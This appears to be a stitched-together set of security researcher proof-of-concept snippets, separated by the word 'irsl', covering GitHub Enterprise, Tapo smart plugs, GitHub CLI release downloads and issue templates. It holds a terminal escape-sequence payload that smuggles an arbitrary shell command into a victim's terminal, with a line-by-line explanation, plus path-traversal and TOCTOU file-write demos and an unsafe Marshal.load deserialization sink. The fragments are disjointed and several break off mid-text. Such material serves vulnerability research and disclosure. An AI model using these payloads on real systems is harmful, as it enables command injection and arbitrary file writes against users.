irsl

    def load(cache_file)
      marshal = File.open(cache_file, "rb") { |f| Zlib::Inflate.inflate(f.read) }
      Marshal.load(marshal)
    rescue SystemCallError, ::Zlib::DataError, ::Zlib::BufError, TypeError
      nil
    end

irsl

admin@ggithub-duckdns-org:~$ ghe-repo irsleorg/first
git@ggithub-duckdns-org:/data/repositories/1/nw/18/2b/e0/33/33.git$ ls -la
total 100
drwx------ 21 git git 4096 Aug 14 18:52 .
drwxr-xr-x  3 git git 4096 Aug 14 18:52 ..
drwxr-xr-x  3 git git 4096 Aug 14 18:52 0
drwxr-xr-x  3 git git 4096 Aug 14 12:42 1
drwxr-xr-x  2 git git 4096 Jul 27 18:58 2
drwxr-xr-x  3 git git 4096 Aug 14 18:04 3
drwxr-xr-x  3 git git 4096 Aug 14 13:24 4

irsl

root@host:/# python3 tapo_scanner.py
{
   "device_id": "36612bba[redacted]9005d5f",
   "owner": "E4483[redacted]BCBD1",
   "device_type": "SMART.TAPOPLUG",
   "device_model": "P110(EU)",
   "ip": "10.6.8.113",
   "mac": "28-87-BA-48-80-14",
   "is_support_iot_cloud": true,
   "obd_src": "tplink",

irsl

# rm -rf /tmp/d; gh release download -R gcpexp.duckdns.org/irsl/pr-toctou v1.0.0 -D /tmp/d; ls -la /tmp/d
ls: cannot access '/tmp/d': No such file or directory
# cat /tmp/any-filename
arbitrary-content

irsl

./condisp.py --private-key ./privkey.pem  --certificate fullchain.pem --data-to-serve <(echo arbitrary-content) --destination-filename ../any-filename

irsl

? Choose a template  [Use arrows to move, type to filter]
  DEPRECATED old issue template use a new one instead
> Open a blank issue

irsl

gh repo clone irsl/legacy-template-poc
cd legacy-template-poc
gh issue create -t title

irsl

gh repo create legacy-template-poc --description "github issue template legacy poc"
gh repo clone legacy-template-poc
mkdir -p .github/ISSUE_TEMPLATE
cat >.github/ISSUE_TEMPLATE/custom.md <<'EOF'
---
name: DEPRECATED old issue template use a new one instead
about: Describe this issue template's purpose here.
title: default title
labels: ''
assignees: ''

irsl

echo -e '\x1Bk;echo this is an arbitrary command;                                                                                                                                     .\x1B\ \e[21t\x1Bk.                                                                                                                                                                                                                                             .\x1B\ \e[21t\e[21t\e[21t\e[21t\e[21t\e[21t\e[21t\e[21t\e[21t\e[21t\e[21t\x1Bk.                                                  View this repository on GitHub: https://www.github.com/irsl/terminal-escape2\x1B\ \e[21t' > readme

Explanation:
Code 479 BytesWrap lines Copy Download
\x1Bk;                                <- start setting the window title
;echo this is an arbitrary command;   <- the title itself - this is what we want to be executed after the victim presses the enter button
.                                     <- just a placeholder as otherwise the whitespaces would 

irsl

printf 'hello\n\x1B#8\nworld\n' > readme